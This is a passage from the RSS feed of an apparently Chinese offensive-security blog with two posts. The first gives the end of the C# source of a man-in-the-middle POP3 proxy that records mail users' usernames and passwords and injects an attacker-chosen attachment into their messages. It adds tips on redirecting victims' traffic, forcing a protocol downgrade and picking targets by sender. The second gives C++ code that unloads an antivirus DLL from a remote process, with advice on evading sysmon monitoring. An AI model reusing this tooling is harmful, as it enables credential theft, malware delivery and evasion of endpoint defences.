&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(boundary);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(&amp;quot;Content-Type:&amp;nbsp;application/octet-stream;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;charset=\&amp;quot;utf-8\&amp;quot;;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name=\&amp;quot;&amp;quot;&amp;nbsp;+&amp;nbsp;System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8)&amp;nbsp;+&amp;nbsp;&amp;quot;\&amp;quot;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(&amp;quot;Content-Disposition:&amp;nbsp;attachment;&amp;nbsp;filename=\&amp;quot;&amp;quot;&amp;nbsp;+&amp;nbsp;System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8)&amp;nbsp;+&amp;nbsp;&amp;quot;\&amp;quot;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(&amp;quot;Content-Transfer-Encoding:&amp;nbsp;base64&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(b64);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(boundarye);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stat&amp;nbsp;=&amp;nbsp;state.header;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;boundarye&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;[!]&amp;nbsp;Attachment&amp;nbsp;added!&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;sr.ReadLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch&amp;nbsp;{&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc&amp;nbsp;POPFuckProxy.cs
#dotnet&amp;nbsp;core环境下请自行创建工程复制粘贴。&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x03 测试效果&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2019/12/201912131576168416465519.png&quot; title=&quot;pop.png&quot; alt=&quot;pop.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如图所示，客户端通过11110端口进行POP3协议收信，用户名和密码已被记录，同时邮件附件被添加了指定的data.rar。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x04 真实场景的一些Tips&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1.鉴于场景大多时候是通过DNS、路由等方式，将流量重定向到自己的vps或服务器。所以此时端口也要改成110，以防客户端找不到端口的问题。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.尽量不要用其他工具代理143、995、993三个端口，这样在对方自动发现尝试时可以“强迫”降级到POP3；25和465最好进行代理，防止影响目标使用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.可以在处于state.header状态时检查From、Subject，根据关键词或发件者(以及发件者备注)来进行更精确的投放。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;4.可以在代码中新建两个StreamWriter，把流量保存到文件，或者魔改OpenPOP等库把邮件本体进行导出。当然如果图省事也可以用tcpdump+tshark。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Github：&lt;a href=&quot;https://github.com/zcgonvh/POPFuckProxy&quot; _src=&quot;https://github.com/zcgonvh/POPFuckProxy&quot;&gt;https://github.com/zcgonvh/POPFuckProxy&lt;/a&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Release：懒得打包加密了，自己编译吧~&lt;br/&gt; &lt;/p&gt;</description><pubDate>Fri, 13 Dec 2019 00:51:41 +0800</pubDate></item><item><title>RemoteFreeLibrary</title><link>http://www.zcgonvh.com/post/RemoteFreeLibrary.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;朋友遇到个环境：命令行程序被杀软注入dll到自身的conhost中（猜测是年初火眼公开的命令行输出监控？），需要对远程进程调用FreeLibrary，简单封装了个函数，勉强能用。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;typedef&amp;nbsp;NTSTATUS(WINAPI&amp;nbsp;*&amp;nbsp;_RtlCreateUserThread)(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProcessHandle,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSECURITY_DESCRIPTOR&amp;nbsp;&amp;nbsp;SecurityDescriptor,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreateSuspended,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StackZeroBits,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PULONG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StackReserved,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PULONG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StackCommit,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LPVOID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StartAddress,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LPVOID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StartParameter,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PHANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ThreadHandle,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LPVOID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClientID
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);
typedef&amp;nbsp;ULONG(WINAPI&amp;nbsp;*&amp;nbsp;_RtlNtStatusToDosError)(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NTSTATUS&amp;nbsp;Status
);
BOOL&amp;nbsp;RemoteFreeLibrary(HANDLE&amp;nbsp;hProc,&amp;nbsp;LPWSTR&amp;nbsp;pwszModule)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!hProc)&amp;nbsp;{&amp;nbsp;return&amp;nbsp;false;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!pwszModule)&amp;nbsp;{&amp;nbsp;return&amp;nbsp;false;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HMODULE&amp;nbsp;hm&amp;nbsp;=&amp;nbsp;LoadLibraryW(pwszModule);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!hm)&amp;nbsp;{&amp;nbsp;return&amp;nbsp;false;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;ht&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HMODULE&amp;nbsp;hmNtdll&amp;nbsp;=&amp;nbsp;GetModuleHandle(L&amp;quot;ntdll.dll&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_RtlCreateUserThread&amp;nbsp;RtlCreateUserThread&amp;nbsp;=&amp;nbsp;(_RtlCreateUserThread)GetProcAddress(hmNtdll,&amp;nbsp;&amp;quot;RtlCreateUserThread&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_RtlNtStatusToDosError&amp;nbsp;RtlNtStatusToDosError=&amp;nbsp;(_RtlNtStatusToDosError)GetProcAddress(hmNtdll,&amp;nbsp;&amp;quot;RtlNtStatusToDosError&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!RtlCreateUserThread&amp;nbsp;||&amp;nbsp;!RtlNtStatusToDosError){&amp;nbsp;return&amp;nbsp;false;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NTSTATUS&amp;nbsp;status&amp;nbsp;=&amp;nbsp;RtlCreateUserThread(hProc,&amp;nbsp;0,&amp;nbsp;false,&amp;nbsp;0,&amp;nbsp;0,&amp;nbsp;0,&amp;nbsp;FreeLibrary,&amp;nbsp;hm,&amp;nbsp;&amp;amp;ht,&amp;nbsp;0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!NT_SUCCESS(status))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetLastError(RtlNtStatusToDosError(status));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(ht);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;调用：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;EnablePrivilge(SE_DEBUG_NAME);
HANDLE&amp;nbsp;hProc&amp;nbsp;=&amp;nbsp;OpenProcess(MAXIMUM_ALLOWED,&amp;nbsp;false,&amp;nbsp;pid);
if(hProc)
{
&amp;nbsp;&amp;nbsp;RemoteFreeLibrary(L&amp;quot;dbgeng.dll&amp;quot;);
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;测试程序：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;#include&amp;nbsp;&amp;lt;Windows.h&amp;gt;

int&amp;nbsp;main()
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LoadLibraryW(L&amp;quot;dbgeng.dll&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;%d\n&amp;quot;,GetCurrentProcessId());
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(true)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;hm=&amp;nbsp;%#p\n&amp;quot;,GetModuleHandleW(L&amp;quot;dbgeng.dll&amp;quot;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(1000);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;0;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;实战使用时需要注意的几点：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1.没加入wow64到x64的切换。考虑到实战中x64环境以及工具居多，遇到再说吧。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.同Session用CreateRemoteThread也可以，不过无论是CreateRemoteThread或是RtlCreateUserThread基本属于会被监控的API范畴，比如大规模部署的sysmon……最好的方法还是手动加载ntdll，构造NtCreateThread的stub，必要时候切换到x64，最后调用。这样至少能规避r3层面的监控吧……&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.OpenProcess也较为敏感，找一些黑科技代替吧。&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 26 Oct 2019 00:06:02 +0800</pubDate></item></channel></rss><!--17.19 ms , 6 query , 1283kb memory , 0 error-->